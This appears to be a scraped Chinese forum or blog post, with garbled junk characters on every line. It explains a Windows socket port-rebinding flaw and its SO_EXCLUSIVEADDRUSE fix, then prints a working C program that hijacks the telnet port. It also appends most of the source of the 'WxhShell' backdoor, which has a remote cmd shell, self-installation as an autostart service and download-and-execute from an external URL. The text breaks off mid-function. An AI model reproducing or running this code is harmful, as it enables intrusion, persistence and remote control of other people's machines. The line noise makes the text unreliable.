在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z8XWp[K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
yp[,WZt phQ{<wzwp saddr.sin_family = AF_INET;
k?rJGc G ]:;dJc' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\XO'7bNu- &;sW4jnt bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~6K.5t7 R9(Yi<CC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Dr76+9'i JLt%G^W> 这意味着什么?意味着可以进行如下的攻击:
^X?uAX-RP| "lrQC`? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^ FM 7?D?s!%\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
8 C9ny} FB:nkUR` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~9"c64 q H@u5& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7%W1M@ ;!C_}P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+&dkJ 4g[ h?H|)a<^9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
$wn0oIuW [k0/ZfFwV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vvu $8n M ziOpraj #include
f-634KuP #include
>FKwFwT4D #include
Y;'SD{On #include
$}'(%\7" DWORD WINAPI ClientThread(LPVOID lpParam);
Zu<S<??Jf int main()
$ai;8)C6 {
5^R?+<rd WORD wVersionRequested;
X7[gfKGL)N DWORD ret;
$$uMu{?0i WSADATA wsaData;
M%Ksyr9 BOOL val;
t-5Y,}j SOCKADDR_IN saddr;
k]^ya?O]p SOCKADDR_IN scaddr;
oh@Ha? int err;
!.-u'6e
SOCKET s;
0qIg:+l+ SOCKET sc;
X#
/c7w- int caddsize;
y=.bn!u}z HANDLE mt;
J .VZD DWORD tid;
O;5lF wVersionRequested = MAKEWORD( 2, 2 );
?;H}5>^8P err = WSAStartup( wVersionRequested, &wsaData );
Pjn{3/*wi if ( err != 0 ) {
j@w1S[vt printf("error!WSAStartup failed!\n");
:`Ep#[Wvo return -1;
m=+x9gL2 }
3<xDxj0< saddr.sin_family = AF_INET;
>x3lA0m B^]PKjLNZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
fUGappb Zxhbnl6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YaL:6[6 saddr.sin_port = htons(23);
OScqf]H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s2GF*{ {
(KwC,0p printf("error!socket failed!\n");
=Xg/[J% return -1;
0:>hK\F# }
4P"bOt5izR val = TRUE;
kN78j //SO_REUSEADDR选项就是可以实现端口重绑定的
I{r*Y9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l^OflZC~ {
ZHa>8x;Mjl printf("error!setsockopt failed!\n");
Yb4ku7} return -1;
kY!zBk }
W&:0J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F>3 o0ke} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k& +gkJm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_ziSH 3( .c~z^6x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wwywiFj {
aidQ,(PDj ret=GetLastError();
"bDj00nwh printf("error!bind failed!\n");
}]PHE(}7 return -1;
\D(3~y> }
ajtH1Z# listen(s,2);
zTjie while(1)
q\x.e.@ {
Rw%?@X3m] caddsize = sizeof(scaddr);
l_yF;5|?z //接受连接请求
;>f\fhi' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3l45(%g+ if(sc!=INVALID_SOCKET)
(XW'1@b {
E5@ =LS
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xOAq!,|V if(mt==NULL)
mO]>] {
ZJQFn printf("Thread Creat Failed!\n");
_^NaP break;
6%ofS8[ }
$Seh4 }
@+H0D" CloseHandle(mt);
l
EzN }
z fv@<' closesocket(s);
H@Ot77(* WSACleanup();
fn=A_
i return 0;
,LN^Zx* }
VQ|{Q} DWORD WINAPI ClientThread(LPVOID lpParam)
%),u0:go {
!C05;x8{ SOCKET ss = (SOCKET)lpParam;
Zfcf?&>< SOCKET sc;
Xd5s8C/} unsigned char buf[4096];
o2U5irU SOCKADDR_IN saddr;
<j>;5!4!} long num;
)\EIXTZY= DWORD val;
Ec}%!p_$ DWORD ret;
Wm`*IBWA //如果是隐藏端口应用的话,可以在此处加一些判断
p\&/m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!?0C(VL(: saddr.sin_family = AF_INET;
;'8Wl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N+B!AK0. saddr.sin_port = htons(23);
'JJKnE zQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~{tO8
] {
|xcC'1WU printf("error!socket failed!\n");
Qd
kus214 return -1;
QfAmGDaYQ }
_^#eO`4" val = 100;
IPK1g3Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xh$yXP0/ {
wCg7JW# ret = GetLastError();
W/xPVmnV return -1;
S-q"'5> }
t#|R"Q# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qvB{vU {
|cY,@X,X6 ret = GetLastError();
8| =C/k return -1;
9!Q ZuZY }
b7dsi|Yo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k}H7bZug {
aH?Ygzw printf("error!socket connect failed!\n");
<_<zrXc] closesocket(sc);
g"5Kth closesocket(ss);
T=tW'tlT\v return -1;
v0oVbHO5< }
'QG`^@Z while(1)
W1X3ArP]m8 {
)MF@'zRK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5%WAnh //如果是嗅探内容的话,可以再此处进行内容分析和记录
&d2L9kTk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}bca-|N num = recv(ss,buf,4096,0);
$Y_S`#c@i if(num>0)
b)Da6fp send(sc,buf,num,0);
7uL.=th' else if(num==0)
U|tacO5w` break;
Od~uYOL/B num = recv(sc,buf,4096,0);
*/aQ+%>jf if(num>0)
$&Vba@v send(ss,buf,num,0);
6[k<&; else if(num==0)
TS9<uRO0 break;
(LmU\ Pe% }
cYK:Y!|`F closesocket(ss);
F&R*njJcc closesocket(sc);
M-i3_H) return 0 ;
y!P!Fif' }
SR?mSpq5 2e%\aP`D2 n'V{ ==========================================================
o/o6|[=3 ~nU9j"$ 下边附上一个代码,,WXhSHELL
-o%? ]S r
YKGX?y ==========================================================
n]$rLm%^ VtI`Qcjc #include "stdafx.h"
?8H{AuLB Y?J/KW3 #include <stdio.h>
5aW#zgxXg #include <string.h>
0j(U & #include <windows.h>
,zM@)Q;9 #include <winsock2.h>
>dJuk6J&c& #include <winsvc.h>
VqW5VLa #include <urlmon.h>
">.k 6Q j
[lS.Lb #pragma comment (lib, "Ws2_32.lib")
06^/zr #pragma comment (lib, "urlmon.lib")
z6@8IszU [?I<$f" #define MAX_USER 100 // 最大客户端连接数
HP]5"ziA #define BUF_SOCK 200 // sock buffer
3{?X>6T #define KEY_BUFF 255 // 输入 buffer
s2SV
y4h
=e~ #define REBOOT 0 // 重启
N s0,Z#Z+ #define SHUTDOWN 1 // 关机
"ymR8y' 5s3QN{h8 #define DEF_PORT 5000 // 监听端口
4%~*} >4luZnWMI #define REG_LEN 16 // 注册表键长度
XN Uw #define SVC_LEN 80 // NT服务名长度
Q&r.wV| -fFtHw:kHh // 从dll定义API
=hvPq@C% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
A_S7z*T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
gjG SI'M0B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$3 -QM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Any y {guOAT-w // wxhshell配置信息
@,.D]43 struct WSCFG {
_J6
Xq\ int ws_port; // 监听端口
kh.P)h'9 char ws_passstr[REG_LEN]; // 口令
u:|^L]{ int ws_autoins; // 安装标记, 1=yes 0=no
qH4|k2Lm char ws_regname[REG_LEN]; // 注册表键名
g&y (- char ws_svcname[REG_LEN]; // 服务名
<A Hzs char ws_svcdisp[SVC_LEN]; // 服务显示名
S:j{R^$k char ws_svcdesc[SVC_LEN]; // 服务描述信息
%P s.r{%{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C @<T(`o int ws_downexe; // 下载执行标记, 1=yes 0=no
r'{N_|:vv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<`pNdy4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
G$TO'Ciu: p% mHxYP };
%p b-VtQ%Q // default Wxhshell configuration
7nnF!9JOv struct WSCFG wscfg={DEF_PORT,
*:xOenI "xuhuanlingzhe",
8]`#ax
5 1,
.c}+kHv "Wxhshell",
hJ`Gu7 "Wxhshell",
*/IiL%g4u "WxhShell Service",
/_m)D;!y "Wrsky Windows CmdShell Service",
SgxrU&:: "Please Input Your Password: ",
dX/7n= 1,
1qNO$M "
http://www.wrsky.com/wxhshell.exe",
tWy.Gz\ "Wxhshell.exe"
pt.V^a };
[nig^8 <(>t"< // 消息定义模块
9.\SeJ8c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VrPsy) J68 char *msg_ws_prompt="\n\r? for help\n\r#>";
p*0[:/4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
WC<[<uI* char *msg_ws_ext="\n\rExit.";
W=^.s>7G char *msg_ws_end="\n\rQuit.";
wl]3g char *msg_ws_boot="\n\rReboot...";
gQ0,KYmI3_ char *msg_ws_poff="\n\rShutdown...";
3,q?WH%_ char *msg_ws_down="\n\rSave to ";
``jNj1t{} 1!(lpp char *msg_ws_err="\n\rErr!";
Cs>` f,o char *msg_ws_ok="\n\rOK!";
Sk7R;A xSD*e 0
char ExeFile[MAX_PATH];
M;<!C%K> int nUser = 0;
J$yq#LBbR@ HANDLE handles[MAX_USER];
_:Xmq&<W int OsIsNt;
Nf!N;Cy? iS+"Jsz SERVICE_STATUS serviceStatus;
.kFO@: SERVICE_STATUS_HANDLE hServiceStatusHandle;
[(x<2MTj CBf[$[e // 函数声明
%k4Qx5`?d int Install(void);
sPZwA0% int Uninstall(void);
hJ ^+asr int DownloadFile(char *sURL, SOCKET wsh);
b]z_2h~` int Boot(int flag);
1Zc=QJw@ void HideProc(void);
.+(V</ int GetOsVer(void);
F\+AA int Wxhshell(SOCKET wsl);
FhY#3-jH void TalkWithClient(void *cs);
R&(OWF;~, int CmdShell(SOCKET sock);
~wuCa!!A int StartFromService(void);
EQlb:;j int StartWxhshell(LPSTR lpCmdLine);
\54B %dPk,Ylz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&J2UAmB VOID WINAPI NTServiceHandler( DWORD fdwControl );
s9sl*1n1m` FtyT:=Kpc // 数据结构和表定义
2LUsqL\m}. SERVICE_TABLE_ENTRY DispatchTable[] =
N2s"$Ttq {
}UsH#!9. {wscfg.ws_svcname, NTServiceMain},
AVDhgJv {NULL, NULL}
M^oL.' };
xP'0a Ty&1R? // 自我安装
hT-^1:N int Install(void)
_Sd^/jGpU {
ben-<3r char svExeFile[MAX_PATH];
~xxq.rL" HKEY key;
<e BmCrJ strcpy(svExeFile,ExeFile);
{7m2vv? Z h# 4n // 如果是win9x系统,修改注册表设为自启动
{rMf/ RAE if(!OsIsNt) {
2{=D)aC$f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B1|nT?}J( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xK_UkB-$i RegCloseKey(key);
PI%l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9k71h`5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[ K/l;Zd RegCloseKey(key);
cJ$jU{} return 0;
9*s8%pL }
|
CFG<] }
QxW+|Gt._ }
}O~D3z4l0 else {
q]: 72+ 9*I[q[>9 // 如果是NT以上系统,安装为系统服务
=JE<oVP8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
wicsf<] if (schSCManager!=0)
B(Yg1jAe {
z8a{M$-Q SC_HANDLE schService = CreateService
.B~yI3D`M (
m]U schSCManager,
KdozB!\ wscfg.ws_svcname,
qc,E azmU wscfg.ws_svcdisp,
xwsl$Rj SERVICE_ALL_ACCESS,
XlF ,_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vaF1e:( SERVICE_AUTO_START,
fpQFNV SERVICE_ERROR_NORMAL,
Q +l{> sL svExeFile,
(v?@evQ NULL,
E va&/o?P| NULL,
aB~k8]q. NULL,
m,+PYq NULL,
9J7yR}2-F NULL
%%X/gvaJ );
V z if (schService!=0)
}bw^p.ci {
Te}gmt+#% CloseServiceHandle(schService);
16Ka>=G CloseServiceHandle(schSCManager);
Fu{VO~w
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
geK;r0(f strcat(svExeFile,wscfg.ws_svcname);
!%R):^R8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{'zS8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)XonFI RegCloseKey(key);
r&R~a9+) return 0;
)R
`d x }
UUWRC1EtI }
>b\|%=(x!* CloseServiceHandle(schSCManager);
v0)
%S }
0);5cbV7i }
-<x% o0No"8DnjH return 1;
l,Q`;v5| }
dl=)\mSFjF
fIpS
P@$< // 自我卸载
+arh/pd_I int Uninstall(void)
j7_,V?5z {
YkF LNCg4} HKEY key;
>)Qq^?U 66>X$nx(z if(!OsIsNt) {
Nt\07*`qCr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-]KgLgJ RegDeleteValue(key,wscfg.ws_regname);
m$[:J RegCloseKey(key);
?3DFm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5u9 lKno RegDeleteValue(key,wscfg.ws_regname);
, Zie2I?q RegCloseKey(key);
*j83E[(] return 0;
:1f,%Z$,q }
4IZAJqw(* }
E^n!h06~G }
@dK_w'W else {
lW-G]V TVvE0y(9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'g<{l&u if (schSCManager!=0)
[r7Hcb {
n,2 p)#? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:f Rta[ if (schService!=0)
nl2Lqu1 {
t5l<Lm) if(DeleteService(schService)!=0) {
DHn\ =M CloseServiceHandle(schService);
w ;$elXP| CloseServiceHandle(schSCManager);
IW nG@! return 0;
iDDq<a.A }
>j]Gz-wC CloseServiceHandle(schService);
tC1'IE-h }
4
w*m]D{ CloseServiceHandle(schSCManager);
}L Q%% }
mgjcA5z }
fGj66rMGw Se[=$W return 1;
_0naqa!JyH }
aC9iNm8w )ty>{t // 从指定url下载文件
h{HpI
0q4 int DownloadFile(char *sURL, SOCKET wsh)
k:/Z6TLk3 {
76[qFz HRESULT hr;
o}waJN`yI char seps[]= "/";
r4FSQ$[9w char *token;
FDiDHOR char *file;
,^
-%< char myURL[MAX_PATH];
\s8h.xjU char myFILE[MAX_PATH];
#bGYHN #r>)A strcpy(myURL,sURL);
yAGQD[ih token=strtok(myURL,seps);
=?Co<972Z while(token!=NULL)
!N\_D {
cc=_KYZ1k file=token;
-2laM9Ed token=strtok(NULL,seps);
}<2|6 { }
0 "@J*e# QN#Lbsd GetCurrentDirectory(MAX_PATH,myFILE);
?zsRs?rc0 strcat(myFILE, "\\");
3:sc%IDP strcat(myFILE, file);
jbg9EtQ!* send(wsh,myFILE,strlen(myFILE),0);
6U|"d[ send(wsh,"...",3,0);
@ajdO/?(Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZrP
8/> if(hr==S_OK)
B[&l<*O-y return 0;
yIpgZ0:h else
#Sy~t{4 return 1;
i%f
C`@ hms Aim9i }
Wvd-be nF3Sfw, // 系统电源模块
hn6'$P int Boot(int flag)
~
c~j
{
P-^-~/>n HANDLE hToken;
Lo[;{A$u TOKEN_PRIVILEGES tkp;
rmX5-k FbdC3G|oA if(OsIsNt) {
A&KY7[<AC{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9l&G2 o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|tY6+T} tkp.PrivilegeCount = 1;
jtpk5 fJB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ept:<!4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
TgRG6?#^l if(flag==REBOOT) {
Ak`?,*LM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\8{Tj54NA return 0;
2l+'p[b0> }
`"~ X1; else {
7|J&fc5BP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i7\>uni return 0;
Sxy3cv53 }
9)b{U2& }
,pZz`B# else {
^^xzaF if(flag==REBOOT) {
oe9S$C;$' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Pqvj0zU o$ return 0;
EO",|V- }
O9N%dir else {
&